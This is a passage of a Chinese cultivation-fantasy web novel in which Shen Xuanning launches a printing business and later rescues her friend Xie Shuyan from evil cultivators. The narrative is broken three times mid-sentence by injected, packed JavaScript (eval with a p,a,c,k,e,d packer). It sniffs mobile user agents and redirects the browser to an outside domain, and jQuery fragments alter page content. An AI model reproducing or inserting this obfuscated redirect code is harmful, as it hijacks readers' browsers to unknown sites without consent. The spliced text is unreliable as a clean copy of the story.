赵吉利和曲新梨,还有好些这届一同考入内门的弟子,都特意赶了过来,不仅是送谢疏言,还有另外两名一同入选栖霞峰长老门下的弟子。 陆远声垂着头不知道在想什么,直到谢疏言走过去拍了拍他的肩膀,他才猛地抬起头,语气认真道:“少爷,路上小心,注意安全。” 这称呼还是他从前在谢府时的,谢疏言愣了愣,随即笑着点头:“当然会的,阿声,照顾好自己。玄宁,你也照顾好自己。” 他又冲着众人挥了挥手:“多谢各位来送行,愿诸位修行一切顺利!” 另外两名栖霞峰的弟子也是拱了拱手:“多谢各位,我们这就走啦。” 说罢,谢疏言便和其他人一道,跟上了柳问松的脚步。此次下山的队伍不算小,除了他们三人,还有其他栖霞峰的弟子一路同行。 当然不是步行去,百灵峰的有灵兽可以载人远途飞行。 栖霞峰每年都会派弟子下山行医,既是悬壶济世,也是让弟子们走出山门,在凡世历练中沉淀心性。往年柳问松也常负责护送,惯例是将人安全送到各医馆据点,确认周边安全无虞,与驻守的老弟子交接妥当后,便会返回宗门。 沈玄宁站在山门前,看着谢疏言的背影渐渐融入山下的晨雾,直到山道尽头再也看不见人影,才轻轻收回视线。 不知道为何心里空落落的,她转头看向身旁一直沉默的陆远声,随口找了个话题:“阿声,你何时能筑基啊?” 陆远声没有回答,只是缓缓摊开手。掌心微光一闪,一个莹白的玉瓶便凭空出现,瓶身通透。 沈玄宁眯了眯眼,神识能感应到里面躺着一枚圆润的金色丹药,丹药表面还萦绕着淡淡的灵气。 她问道:“这什么?” “筑基丹。” “哦?三品丹药啊,品相不错。” “少爷炼的。” “他都这么厉害了啊,居然能炼三品丹药了。那你还等什么,赶紧吃了准备闭关筑基吧。”沈玄宁随意道,她还等着陆远声筑基以后用系统验证一下她之前那个猜测到底对不对呢,不过她觉得八九不离十了。 “嗯。” “哦对了,既要闭关,我给你点东西。”沈玄宁看了看周围还有零星几个弟子在叙旧,朝着陆远声小幅度地朝招招手,压低声音道,“弟子令牌拿过来。” “做什么?”陆远声虽有疑惑,却还是依言照做,将刻着符天峰的弟子令牌摊在掌心。 符天峰不像问剑峰狂草字体,弟子令牌写得十分规矩,标标准准的符天峰三个字,沈玄宁将手盖在上面,和陆远声掌心相贴,她心念一动。 然后下一秒就看到了陆远声震惊的眼神。 他能听到弟子令牌那个储物空间里,叮叮当当的声音,眼看着沈玄宁扔了一堆中品灵石进去,其中还有好几块上品灵石。 陆远声:“……” 他张了张嘴,找回自己的声音,“你哪来这么多灵石?” 沈玄宁轻描淡写:“我用逍遥令换的啊。” 逍遥令主要靠完成师门任务获取,其他途径也是可以获取一小部分的,但是要换这么多中品灵石,甚至还有上品灵石,所需的逍遥令数量不少。 “那你哪来这么多逍遥令?” 沈玄宁被问得轻咳一声:“咳,那个……是我大师兄送我的。他的逍遥令多得实在用不完,就给了我许多,让我想换什么就换什么。” 她拍了拍陆远声的肩膀,语气格外坦荡:“所以我们一起吃他软饭吧,不要有负担。” 被动吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16273845|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软饭的陆远声:“……” “你现在的任务,是赶紧筑基,尽快筑基,马上筑基,好吗?”沈玄宁见他还愣在原地,干脆伸手拽了陆远声一把,“走啊,回去修炼了,少年光阴不等人呐!你懂不懂啊!” 陆远声一回符天峰就是立刻闭关了。 而谢疏言下山以后,沈玄宁突然觉得时间过得很快。 一段时间以后她终于把心心念念的全自动印书设备给做了出来,这东西以木材为架,内里是她亲手写的聚灵阵,只要镶嵌灵石启动阵法,就能自动完成裁纸、排版、印刷、装订的整套流程,比凡世的手工印刷快了何止几十倍。 尹文霜还特意来帮她检查了一下聚灵阵,看完以后都忍不住赞叹这聚灵阵画得着实精巧,沈玄宁用这设备印出的书,他还顺手带了几本回去,其中就有沈玄宁最看好的《西游记》。 搞定设备后,沈玄宁立刻下山,把整套家伙什搬到了云山镇的黄金楼。赵琳琅早已按照她的要求将整个铺子修整了一番,后面也留了库房和摆放印书设备的地方,这第一批书印完,黄金楼便能开业了。 正式营业以后,黄金楼果然不负沈玄宁期望,一炮而红。 开业当天准备的书被直接清空,接下来几日,黄金楼更是门庭若市。 出于保密考虑,铺子里的人手都是牙行拿了身契的,赵琳琅原本只请了三个,如今才发现根本忙不过来,只能连夜又添了十几个人手才勉强够用,日后怕是要继续加人。 没出几天,周边城镇的书局老板就闻风而来,挤在黄金楼里,争着要和赵琳琅谈批量采购。 一时间,云山镇的茶坊里、酒肆中,随处都能听到百姓讨论孙悟空三打白骨精,还有宁采臣与聂小倩的故事。 更有心思活络的戏园老板洞察先机,连夜到黄金楼找了赵琳琅,花重金买下了《西游记》《聊斋志异》的改编权,将“齐天大圣大闹天宫”“三打白骨精”“倩女幽魂”等精彩片段改编成了大戏。 等到戏园开演那天,门口早就挤得水泄不通,不仅有云山镇的百姓,连周边城镇的人都特意赶来看戏。 这一下子,云山镇不少戏园、茶楼都跟着效仿,连街头卖糖人的小贩都捏起了孙悟空、猪八戒的造型,生意比往日好了数倍。 黄金楼的这批小说不仅成了百姓茶余饭后的谈资,更直接拉动了整个云山镇的文娱产业发展。 而且已经隐隐有往其他州外扩发展的趋势了。 这在现代世界爆火的四大名著,到了修仙世界一样受欢迎,沈玄宁对此早有预料。只是没想到某次去找陆远声的时候,还在符天峰看到了有弟子在看《西游记》。 看来这大风已经刮到仙门内部来了。 冷玄明甚至也买了两本回来,当他发现这黄金楼背后的老板竟然是他小师妹的时候,呆若木鸡地感叹:“小师妹啊,我以为我是整个问剑峰最不务正业的一个了,没想到你更离谱。” 而经过这段时间连轴转的魔鬼训练,赵琳琅也是脱胎换骨。 她再也不是当初那个见了人多就着急脸红的羞怯小姑娘,如今她已是云山镇人人皆知的黄金楼老板娘。行事利落,谈吐大方,连外州来的大书局老板见了她,都得客气地称一句 “赵掌柜”。 黄金楼有条不紊地发展着,陆远声这边也是得到了好消息,他闭关晋级后,等候在外的沈玄宁果然收到了系统的提示音,这一下直接就涨了5%的净化值。 验证猜测以后的沈玄宁心情不要太好,她自己倒也没闲着,每日修行练剑,也在稳步增长修为。 只有一点。 栖霞峰的弟子此次行医历练。 从最初预料的三年,变成了五年。 34.浔州遇袭 五年后。 浔州,西南方向。 连绵的阴雨刚过,山林间弥漫着潮湿的腐叶气息,急促而杂乱的脚步声猛地划破了深夜的死寂,一行踉跄着冲进幽暗的林地,每个人的脸上都写满了疲惫与焦灼,其中有三个人身上还背着伤患。 身后的远方,隐约传来几声尖锐的呼啸,像是某种暗号,一股若有若无却令人心悸的气息就在那边,那气息阴冷刺骨,带着一种诡异的感觉,如同跗骨之蛆,死死咬着他们的踪迹,紧追不舍。 眼前的林子被厚重的迷雾笼罩,因是深夜的缘故更显得漆黑,只能看到脚下堆积的枯枝败叶。 “师兄,这林子……这林子看起来好可怕,真的能进吗?”一个穿紫色衣裙的少女攥着袖角,声音带着抑制不住的颤抖,她抬手抹了把额头的冷汗,“我们的传讯信号都用完了,若是还没有人收到消息……” “他们追来了!”旁边一个身材高大的弟子喊道,他背上背着的是一个中年男人,脸色惨白如纸,呼吸微弱,此刻看着眼前的密林,他皱起眉头道:“这鬼林子黑得伸手不见五指,方向都辨不清,再往深处走,说不定会遇到更危险的东西……” 话虽带着犹豫,他的脚步却没有半分停顿。 所有人都清楚,身后的人随时会追上来,那些人手段阴毒,一旦被追上,必定是死路一条,而这迷雾笼罩的林子虽透着诡异,至少还能藏住踪迹,说不定能有一线生机等待宗门支援。 为首的白衣少年停下脚步,抬手从储物令牌中取出一张金色符纸,灵力瞬间将符纸点燃,金色的火光浮了起来跟着他们的脚步一同往前,不过这迷雾太大了,只能堪堪驱散队伍周围三尺的范围,勉强在幽暗的林子里照出一条能落脚的小径。 他转头感应到越来越近的气息,犹豫了一瞬,还是从令牌里摸出最后一枚信号弹,他用灵力点燃了信号弹的引信,手臂用力一扬,将其朝着夜空扔去。 信号弹“咻”地冲上云霄,在夜空炸开一朵冰蓝色的花。 只能在这里放了,如果进入林子,信号弹的光很快就会被厚重的雾气吞噬,根本无法扩散。 “走。”少年迅速收回目光,对着身侧一个穿青灰色衣袍的少年语速极快地叮嘱:“我来开路,竹深你殿后,大家都尽量收敛气息。” 那名叫竹深的少年立刻点头,声音沉稳:“好,师兄放心。” 在一行人的身影彻底消失在密林入口的迷雾中后,不过半柱香的功夫,一阵急促的脚步声便由远及近,一群身着灰袍的人迅速赶到了这里,他们个个面色阴鸷,周身萦绕着若有若无的邪气。 为首的灰袍人停下脚步,目光锐利地扫过地面上残留的脚印和灵力波动,又抬头看向密林深处那片化不开的迷雾,语气带着几分狠戾:“仙门的小杂碎,倒还挺能跑!” 他抬手捻起一片沾着血迹的草叶,指尖黑气一闪,草叶瞬间枯萎发黑,“不过跑得了一时,跑不了一世。那几个凡人,绝不能让仙门的人带走,见到目标立刻击杀毁灭。” “是!” “哼,想跑!”灰袍人冷笑一声,从储物袋里取出一枚黑色的罗盘,罗盘指针正朝着密林深处疯狂转动。 他抬眼看向身后的手下,语气愈发阴冷,“那几个仙门弟子,是逍遥宗的人,一个都不能留。” “是!”一众灰袍人齐声应道。 他率先迈步,朝着密林深处走去,黑色的罗盘在他掌心泛着幽光,指引着方向。 密林深处,雾气更浓,连风声都透着几分诡异。 “谢师兄!你快看看!这个人快不行了!”背着人的弟子突然急声喊道,他背着的那中年男人呼吸微弱得几乎快要感受不到,胸口的起伏越来越浅,眼看就要断气。 此刻在最前方开路的,正是谢疏言。 谁也没想到,本该结束历练返回逍遥宗的他们,会在浔州遭遇这场横祸。 前日午后他们返程至浔州,在一个栖霞峰所属医馆暂作休整。 谁知医馆门口却突然被人扔下了三个昏迷不醒的病患,医馆内的栖霞峰弟子立刻将人抬进医馆诊治,可抬入医馆后才发现,这些人的伤势诡异到了极点。 体表没有任何伤口,体内的五脏六腑却在迅速枯竭,任何的丹药都没有了用处,唯有输入灵力才能勉强延缓脏腑衰败的速度,却根本无法逆转颓势。 更让人措手不及的是,入夜后一群身着灰袍的邪修突然潜入医馆,他们个个修为不低,甚至有好几个都在金丹修为,出手狠辣,目标明确,显然是冲着这几个诡异病患来的。医馆里的几位年长弟子拼死抵抗,才勉强为谢疏言他们争取到了逃跑的时间。 此刻那群邪修紧追不舍,一路将他们逼到了这片迷雾笼罩的山林内。 “我看看。” 听到师弟的呼喊,谢疏言立刻转身折回,握住那中年男人的手腕探了探,只一瞬间,他的脸色就沉了下来。 这中年男人的脏腑已经衰竭到了极限,两日的奔逃颠簸加速了生机流失,谢疏言只能又给他输送了一些灵力,不管怎么样,一定要保这几个人回到逍遥宗。 如此诡异的病症绝对藏着大问题。 “师兄,他们好像追上来了!”许竹深攥紧腰间的佩剑,在队伍后方低声警示,声音里藏着难以掩饰的紧张。 “怎么办?为什么还没有人来救我们?”已经有人在偷偷哭泣,“这里可是浔州啊。” 确实不应该。 逍遥宗下属辖地共有四州,分别是浔州、青州、云州还有灵州。 其中浔州是逍遥宗的宗门所在地,也是四州之中防备最严谨的地方,按说信号弹一升空,附近的宗门据点或是外门弟子早该察觉,可现在连半点支援的影子都没有。 除非这些信号都被屏蔽了,想到这种可能的谢疏言心下一沉。 他迅速压下心头的惊涛骇浪,语气依旧沉稳,“竹深,你去前面,换我殿后。若是他们追上来,只管往前跑就好,不用管我。” “师兄!这怎么行?”许竹深立刻摇头,“那些邪修里可有金丹期的,你挡不住……” “嘿嘿,不用谦让了,因为——” 一道阴恻恻的笑声突然在队伍后方的迷雾中响起,像毒蛇吐信般黏腻刺耳,明明声音不大,却像针一样扎进每个人的耳朵里,让人浑身发寒。 “你们谁都走不了了。” 谢疏言脸色骤然一变,刚才明明还在远处的气息,竟在眨眼间就已逼至眼前! 他几乎是本能地侧身,将身旁的许竹深往身后一挡,手中灵力骤然涌动。 迷雾中缓缓走出一个人。 来人是一个穿着暗紫色长袍的男人,他面容俊美得近乎妖异,皮肤却白得没有血色,眼神扫过众人时,嘴角勾起一抹似笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281937|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非笑的弧度。 他周身散发出的威压却远超之前追杀他们的金丹邪修,压得在场所有人都几乎喘不过气来。 这不是金丹期…… 是元婴期! 这几个凡人到底藏着什么秘密?值得对方如此大动干戈。 为了确保万无一失,对付几个筑基期弟子竟然派出元婴期的邪修来压阵。 谢疏言心头的疑云越来越重,可眼下的局势已容不得他细想。 “好纯正的木灵根啊。” 紫衣元婴的目光落在谢疏言身上,像是在打量一件稀世珍宝,“难得遇到这么好的养料,那我就让你最后一个死吧。但是你身后的这些,一个都活不了。” 话音刚落,他突然打了个响指。 诡异的一幕发生了,被背着的那三个昏迷病患,竟毫无征兆地爆开,化作漫天血雾,溅得众人满身满脸都是温热的血气。 站在谢疏言身后的许竹深瞪大了眼,不由自主地后撤了两步,而其他弟子沾了满身血污,本就紧绷的神经彻底崩溃,面上已是慌乱不已。 “仙门的小杂碎,下地狱去吧!” 紫衣元婴笑得愈发残忍,枯瘦的手指猛地一捏。刹那间,无数道紫黑色的气流从他指尖喷涌而出,带着蚀骨的阴寒,朝着众人席卷而去 谢疏言站在众人面前,用灵力瞬间凝成一个防御法阵。但是他如今也就筑基中期的修为,根本不可能挡住元婴期的一击。 就在紫黑气流即将袭来的瞬间—— 众人的头顶突然落下一道璀璨的金光,如同天幕般将他们笼罩,那些足以毁灭一切的紫黑气流撞上金光,竟瞬间消融。 金光吸收了这一伤害,下一秒竟反射了回去。 “什么东西?!” 紫衣元婴脸色一变,抬手将反射的攻击给挥开,他抬头望去,只见半空中悬浮着一面青铜古镜,它投下大片的金光,将逍遥宗几人笼罩其中,“山川巡天鉴??” 黑夜与迷雾笼罩的密林深处,突然亮起一道耀眼的剑光。 破空声袭来,一柄通体泛着冰蓝色剑光的仙剑眨眼间就已冲到他的面前,紫衣元婴瞳孔骤缩,下意识地抬手凝聚出一道紫黑色的护盾。 可那道冰蓝色的剑气远比他预料的更强,一下子就击碎了他仓促凝聚的紫黑护盾,余势丝毫不减,裹挟着刺骨的冰寒灵力直逼面门。 他本能地往后急退,脚下的枯枝被踩得粉碎,连退了五六步才勉强避开要害,可肩膀还是被剑气擦到,一道深可见骨的伤口瞬间绽开,黑色的血液汩汩流出。 仙剑伤敌后,在空中划出一道流畅的弧线,迅速折返,最终稳稳落在一个突然出现的蓝衣少女手中。 紫衣元婴捂着流血的肩膀,死死盯着少女手中的冰蓝色仙剑,声音里满是难以置信的惊骇:“破妄剑?” 他话音未落突然浑身一僵,一股无形的极致威压骤然落下,逼得他直接跪倒在地,骨节发出不堪重负的声音,连抬头的力气都没有。而那些紧随他追来的金丹邪修,更是直接被这气势压得趴倒在地上,口鼻溢血,连挣扎都做不到。 他们惊恐道: “她是谁!” “怎么会……她是……” “化神期修士。” 那蓝衣少女像是完全不在意那些人一般,她只是转过身,看向谢疏言。 笑意盈盈。 “好久不见啊,小谢。” 35.见色起意 “化神期?这么年轻的化神期?” “怎么可能?她看着比我还小几岁吧……” 谢疏言还没开口,他身后的许竹深已经惊呆了,不停地小声来回嘀咕。 眼前的少女穿着一身精致的水蓝色衣衫,她的发髻颇为精巧别致,几缕乌黑的发丝垂落,发间点缀着的素雅小花与耳后的流苏发饰十分相衬。 许竹深的目光不自觉地往下移,最后定格在少女手中握着的剑上。 莲花剑格,破妄剑! “你是……你……沈……”许竹深张着嘴,死死盯着那把剑,半天没把名字说全。 “诶,对了。”沈玄宁听到了许竹深的嘀咕,笑了笑道:“快叫沈师姐。” 许竹深自然是见过沈玄宁的,他就是和谢疏言一起拜入问剑峰的外门弟子之一,怎么会不知道他们这一届内门大考的榜首。 只是这短短五年过去,沈玄宁的变化实在太大。个子窜高不少,原本纤细的身形长开了,多了几分少女的窈窕,可说话时眼尾微微上挑的弧度,笑起来时眼底的促狭,还是和五年前那个神采飞扬的她如出一辙。 如今沈玄宁已成了容貌盛极的少女,其实在外貌上是更像在现代时候的她。 “沈师姐。”许竹深乖巧地叫了师姐,冲着一个比他小的姑娘叫师姐他能接受,但是一个十六岁的化神修士他还是有些接受无能,“……您已经化神了?” 沈玄宁笑得促狭,冲他眨了眨眼睛:“你猜。” “玄宁,好久不见。”谢疏言目光温和地落在她身上:“恭喜你晋入金丹期。” 沈玄宁的气息虽比五年前浑厚数倍,却远未达到化神期那般深不可测的威压,对面那元婴期的邪修跪地不起,怕是周围还有其他化神期的人存在。 “哎,还是小谢最懂我。”沈玄宁随即仰头对着头顶浓密的树冠,拖长了语调撒娇似地喊人,语气是万分熟稔的随意:“大——师——兄——啊——,你快些下来吧。” 然而话音刚落,悬在半空的山川巡天鉴突然微微震颤,镜身金光一闪,一道强大阴冷的气息被瞬间捕捉。 沈玄宁脸色一变,猛地转头看向紫衣元婴,那原本被压制得动弹不得的人,不知何时已挣开了束缚,身旁多了一道浑身裹在黑雾中的身影,已是稳稳地扶住了他。 “化神后期?!”沈玄宁握紧了手中剑,那黑雾中散发出令人心悸的阴邪之气,绝非寻常的邪修。 几乎是同时,沈玄清的身影无声出现在她身后,眉头紧锁地打量那团黑雾。 黑雾中的人影没有露面,只传出一道沙哑苍老的声音:“化神初期的小子,也敢伤我少主,胆子倒是不小。” 他的修为比沈玄清高出不少,却是没有出手,显然是有什么东西限制了他,不愿在此纠缠,“今日老夫有要事在身,暂且饶你们一命,他日定要你们,百倍偿还!” 话音未落,黑雾骤然扩散,将紫衣元婴包裹其中,又猛地炸开一团气浪,逼得宁清二人不得不暂退半步,待气浪消散,原地早已没了那两道身影。 更令人心惊的是,就在他们离去的瞬间,地上那群被制服的金丹邪修突然浑身抽搐,紧接着“砰砰”几声闷响,竟齐齐爆成了血雾。 沈玄宁急急上前,竟连一丝魂魄都没留下,显然是那黑雾老者临走前,为了灭口而动手清除了痕迹。 “多谢沈师兄,沈师姐。” “拜见二位师兄师姐。” 几位刚从惊悸中缓过神的逍遥宗弟子,纷纷朝着沈玄宁与沈玄清拱手行礼,语气里满是感激与敬畏。先前沈玄宁一剑逼退元婴邪修、山川巡天鉴护下众人的场景,早已让他们彻底折服,修真界本就以实力为尊,哪还会在意年纪长短。 先前背着中年男人的弟子也走上前,他身材高壮,身上还有未擦净的血污,却透着一股憨直的真诚,他对着两人深深拱手:“弟子石猛,多谢沈师兄、沈师姐前来相救!若不是二位及时赶到,我们今日恐怕……” 说到这里,他语气一顿,眼底满是后怕。 谢疏言站在原地,目光不自觉地落在并肩而立的沈玄宁与沈玄清身上,心里泛起一丝微妙的感慨。 从前沈玄宁还小时倒没觉出来,如今十六岁的沈玄宁已然长开,眉眼间的轮廓愈发清晰,仔细瞧来竟与沈玄清有七八分相似。 沈玄清。 沈玄宁。 同宗同门的师兄妹,二人的名字仅一字之差。若是不看年纪,旁人见了,定会以为他们是血脉相连的亲兄妹。 沈玄清已入化神,起码已潜心修行百年有余,而沈玄宁如今则是实打实地只有十六岁,这般悬殊的年纪差距,足以将亲兄妹的可能彻底推翻。 “小谢。”沈玄宁似乎察觉到他的目光,转头冲他笑了笑,“你看什么呢?” “无事,今日多谢你和沈师兄出手相救。”谢疏言回过神,又感叹道:“你和沈师兄,如今生得竟是越发像了。” “那可太好了。”沈玄宁笑着上前一步,很自然地伸手抱住沈玄清的胳膊,轻轻晃了晃,动作亲昵又坦荡,“他是我大师兄,当然也是我哥哥。” 沈玄宁当然也试探过好几次,平日说话旁敲侧击偶尔夹带两句现代的话。 但是沈玄清并没有作为现代人的记忆,但是与她倒是恢复了不少从前兄妹之间的亲近。 沈玄宁扫了一眼狼狈的众人道:“如今这样回去好像有些失礼,这里不远处有个落脚点,不如先过去修整一番,我带了玲珑峰的机关鸟,到时候可以把大家一起带回去。” 许竹深连忙应声:“沈师姐说得有理,辛苦师姐了。” 石猛和其他师弟师妹也纷纷道谢:“多谢沈师姐。” 沈玄宁带他们到了附近镇上最大的酒楼。 谢疏言目光落在这大酒楼的牌匾之上,“赵氏酒楼”四个鎏金大字笔力遒劲。 沈玄宁看到他发愣便是上来问道:“怎么了?” 谢疏言道:“这赵氏……” 沈玄宁得意道:“对,就是你想的那个赵,赵琳琅的赵。” 说话间,店小二已领着许竹深、石猛等人去后院的客房洗漱休息,只剩下沈玄宁和谢疏言走在最后。两人刚踏进酒楼大门,一个穿着藏青色长衫留着山羊胡的掌柜就快步迎了上来,脸上堆着熟稔的热情笑容:“哎哟,我的小姑奶奶,你怎么来了啊!” “钱叔,你小声点,低调。”沈玄宁连忙抬手打断他,眼神往楼梯口的方向示意了一下,声音压得低了些,“我师兄弟们都在呢,别叫得这么张扬。” 钱掌柜愣了一下,随即反应过来,连忙改口,“噢,明白明白 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“公子,咱们酒楼的后院共设了十二处独立院落。”管事一边引路,一边介绍,“每个院子里都有独立的汤池,您要是有其他需要,随时摇院门口的铜铃就行。” “麻烦了。”谢疏言微微颔首,院内种着几竿翠竹,中间的石桌上还摆着成套的茶具,处处透着精致。 “公子,我先退下了,有什么需要再叫我。”管事恭敬地行了一礼,便轻轻退了出去,顺手带上了院门。 “多谢。” 谢疏言进去简单洗漱了一番,刚推开正屋的门,便见院中的石桌旁坐了个人。沈玄宁已换了身鹅黄色的衣裙,衬得她肤色愈发莹白,她手肘撑在石桌上,单手托着下巴,乌黑的发丝垂落在肩头,几缕碎发被风吹得轻轻晃动,目光落在他的房门方向,像是在发呆。 听到开门的动静,沈玄宁才猛地回过神,立刻直起身子,原本有些懒散的眼神瞬间亮了起来,一错不错地盯着他,嘴角是一丝微不可查的笑意。 沈玄宁盯着他看了几秒,见他走了过来,又觉得自己这直勾勾的样子可能看起来有点猥琐。 但是真的不得不说,从方才一见到谢疏言开始,她就被惊艳了。 五年未见,已是成年的谢疏言褪去了从前的青涩,愈发显得清俊出挑。 之前沈玄宁就觉得他天生该是曲无忧的徒弟,如今这话越想越是一点没错,他们师徒两个真是一脉相承的好模样。 谢疏言生得是真好看,不是那种咄咄逼人的锋利长相,是那种让人越看越心折的美貌。 如琢如磨的五官,生得极其含情的眉眼。 他的眉峰是舒展的,让他看起来没有一点凌厉的锐气,倒像是春风拂过的远山,柔和却极有风骨。一双眼睛又格外清亮,像浸在清泉里的琉璃,干净又通透。待他笑起来时,眼尾会轻轻弯成一道温柔的弧度,哪怕只是安静地坐着看你,都会让人莫名觉得情意绵长,忍不住再靠近几分。 更难得的是,这般好模样,还配上了一副温和妥帖的好性子。 真是从头到脚都是万分合她胃口。 沈玄宁在心里悄悄叹着,她本就是个实打实的颜狗,偏又格外喜欢性情温柔之人。 之前大家年纪还小倒不觉得,此刻突然感觉好像…… 有点不妙啊。 36.内门双煞 谢疏言也坐到了石桌边上,伸手拎起桌上的白瓷茶壶给她倒了一杯茶。 “玄宁。” “咳。”沈玄宁收回脑内发散的思绪,被他一叫,竟有些心虚般轻咳了一声,“嗯,那个……” 谢疏言也不催,就那样安静地看着她,轻轻应了声:“嗯?” 她终于抓准了能掩盖心虚的话题,立刻正了正神色,把那些纷乱的心思压下去,问道:“对了,今日究竟是什么情况?你可知追杀你们的那些是什么人?” 谢疏言将事情的来龙去脉简明扼要地说了一遍,又问道:“你和沈师兄怎么会在这附近?” 沈玄宁道:“我和大师兄接了个师尊发的师门任务,清剿这附近的邪修,大师兄察觉到这片区域竟然有禁止屏障便是过来了,山川巡天鉴可无视屏障感应气息,我才发觉你在里面。” 谢疏言恍然大悟:“先前放的信号都石沉大海,想必都是因为那化神邪修布下的屏障。有一点倒是奇怪,他既有化神后期的修为,为何不直接对我们出手,反而费这么大功夫设屏障让其他人来动手?” 沈玄宁道:“许是有什么限制,当日他不是也没有对我们出手么?只是你说的那三个病患,确实可疑。” 何止是可疑,简直是诡异到了极点。 因为原著中根本没有这一段啊! 沈玄宁头脑风暴了一大段,这个病症如此诡异,原著中没有提及,或是因为这病症本就没掀起风浪。若是这病症只在一两处零星发作,没扩散成大事件,自然不会被写进书里。 她道:“只是可惜,那几个人未能带回逍遥宗。若是能让无忧师叔看看,或许能从他们身上查出病症的根源。” 谢疏言道:“嗯,回去后我去查查栖霞峰的典籍,若能找到对应症状或有可有线索,如今明确邪修确有异动,也不算全无收获。” 两人聊完正事,院中的空气忽然陷入一阵诡异的沉默。 院内翠竹的影子随着微风轻轻晃动,桌上的茶水渐渐凉了几分,谢疏言看着沈玄宁,斟酌了片刻,还是开口打破了安静:“玄宁,这五年……你和阿声过得如何?” 沈玄宁闻言,立刻扬起一个轻快的笑容:“我很好呀,你看,不是活蹦乱跳的。前些日子刚晋入金丹期,就跟着我大师兄出来望望风。” 谢疏言道:“恭喜你了,十六岁的金丹修士,可谓前无古人,也很难有后来者了。” “至于阿声嘛……”她顿了顿,颇有些无可奈何的头疼,“你还是回去自己看看他吧。” 谢疏言道:“他怎么了?” 沈玄宁叹了口气,像是想起了什么让人哭笑不得的场景,她撑着下巴看着谢疏言道:“他没怎么,他是好得很。他如今可是内门赫赫有名的黑白双煞。” 谢疏言:“……” 沈玄宁补充道:“另外一个煞星是我五师兄。” 却没料到谢疏言听完这话,忽然笑了起来:“也好,他如今倒是活泼了许多。” 沈玄宁挑眉:“这又是哪里看出来活泼的?” “对了,你先前说这个酒楼是琳琅……” “是的,就酒楼便是我和琳琅一道开的。最初我们是在云山镇开了家大书铺。”沈玄宁回忆着过往,嘴角扬起一抹笑意,“没想到生意格外好,赚了第一笔钱后,又陆续开了一些其他铺子,后来越做越大,金楼、酒楼、当铺什么都涉猎了,如今云山镇一半的产业都在我们俩手里了。” 她有些不好意思道:“虽说名义上我是大东家,可这些年我忙着修炼,大多事情都是琳琅在张罗,所以这所有的产业都叫赵氏。” “仅五年便是发展至此,琳琅在经商这方面倒是天赋异禀。” “是啊,我也没想到呢,她从前可是见了人就害羞的,如今你见她应该快要不认得她了。”沈玄宁颇为赞同地点头,“她现在可是鼎鼎有名的赵掌柜。” …… 两人在又聊了几句关于宗门近况的话,钱掌柜派人来说其他人都洗漱好准备在后面用饭了,便是来请他们。 沈玄宁起身拍了拍衣服:“知道了,这就来。” 从院子这边出去,倒不是回前面的酒楼,而是直接走另外一边,穿过几条抄手游廊,便到了专供于她的后院雅间。 推门进去时,许竹深正带着几个弟子坐在桌边,见他们进来,连忙起身招呼。沈玄宁扫了一眼,这桌人里除了许竹深是栖霞峰内门弟子,其余几个的都是栖霞峰在外门的记名弟子。 这种一般是考不进内门,但是又是学医的料子,于是就在栖霞峰的医馆里做事。 沈玄宁径直走到首位坐下,冲着众人笑道:“这里的菜很好吃,大家随便吃,不够再加,师姐请客,管够。” 话音刚落,坐在许竹深身旁的紫衣少女便怯生生地开口了。这少女名叫楚瑶,是去年刚入外门的记名弟子,此刻手里攥着筷子,小声问道:“多谢沈师姐。对了……沈师兄他不来吗?” 沈玄宁低头吃了一口:“你说我大师兄啊?他不来。” 金丹期以上是可以完全辟谷了,化神期的沈玄清自然是更不用进食的,但沈玄宁嚼得津津有味,又道,“也就是我嘴馋,总时不时要吃饭。” 其实对金丹期以上的修士来说,进食反倒是种负累。 修仙之路本就是要摒弃肉//体凡胎的桎梏,斩断俗世羁绊,凡俗食物里的浊气,吃下去不仅不能补充灵力,还得靠自身修为慢慢炼化,平白耗费心神。 沈玄宁自己也清楚这点,可她偏偏改不了。说到底,还是骨子里那点现代人的习惯在作祟,让她一口饭都不吃自然是不行的。 酒过三巡,菜添五味。 桌上的空盘渐渐多了起来,谈话声也从最初的拘谨变得热络,话题绕来绕去,终究落在了所有人都翘首以盼的事上——两年后由逍遥宗主办的四门大比。 所谓的四门大比,是逍遥宗、天枢阁、万界城、碧霞仙居共同牵头的盛会,每二十年举办一次,今年恰好轮到逍遥宗,到那时另外三大仙们的弟子都会来,可谓是修真界年轻一辈的巅峰对决。 沈玄宁指尖漫不经心地划着茶杯边缘,听着席间众人热烈讨论两年后的四门大比。 她知道,在这盛会开始之前,还有一件翻天覆地的大事要发生。 因为沈玄宁无力阻止烟州水患的发生,如今推着手里生意的快速发展,倒也能为此事善后尽上一份绵薄之力。 快了。 饭后众人在此休息了一晚,沈玄清早已不见人影,沈玄宁也是习惯了自己大师兄神出鬼没的行事风格,直接带着其他人一起回了云山镇。 其他人回居所休整,沈玄宁则跟着谢疏言往栖霞峰去汇报。 曲无忧听闻此事以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 